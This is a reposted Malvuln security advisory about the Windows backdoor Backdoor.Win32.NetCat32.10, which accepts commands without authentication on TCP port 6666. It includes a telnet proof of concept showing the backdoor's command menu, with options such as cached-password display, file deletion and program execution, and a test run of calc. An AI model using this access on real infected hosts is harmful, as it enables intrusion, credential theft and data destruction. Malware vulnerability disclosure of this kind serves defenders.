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Backdoor.Win32.NetCat32.10 / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-264 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-15
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040050

Below is a copy:

Backdoor.Win32.NetCat32.10 / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetCat32.10 
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET. 
Family: NetCat32
Type: PE32
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3
Vuln ID: MVID-2022-0550
Disclosure: 04/14/2022

Exploit/PoC:
telnet.exe x.x.x.x 6666
HELO                                                                                                                                                                                                                                            
HHEELLPP                                                                                                                                                                                                                                                                                                                                                                
========================================================                                                                
HELP     This help          EXIT     Quit your session                                                                  
VER      Get Versions       
ExitWin  Shutdown Windows                                                                   
CLIP     View Clipboard     PASS     Display Cached Pass                                                                
DOWNLOAD Host download file GET      Get file from host                                                                 
EXEC     ShellExecute       EXECHIDE ShellExecute                                                                       
SHOW     Show Window        HIDE     Hide Window                                                                        
MAXALL   Max all Windows    MINALL   Min all Windows                                                                    
RESTALL  Restore Windows    LISTWIN  List Windows                                                                       
DESK     Set Desktop Color  WALL     Set Wallpaper                                                                      
MKDIR    Make Directory     RMDIR    Remove Directory                                                                   
RM       Delete File        MOVE     Move / Rename File                                                                 
LS       List Directory     TELNET   Connect another                                                                    
FUNCAP   Rock the CapLock   CDROM    Open/Close cdrom                                                                   
========================================================                                                                                                                                                                                        
+OK                                                                                                                                                                                                                                             
EEXXEECC  ccaallcc                                                                                                                                                                                                                              
+OK

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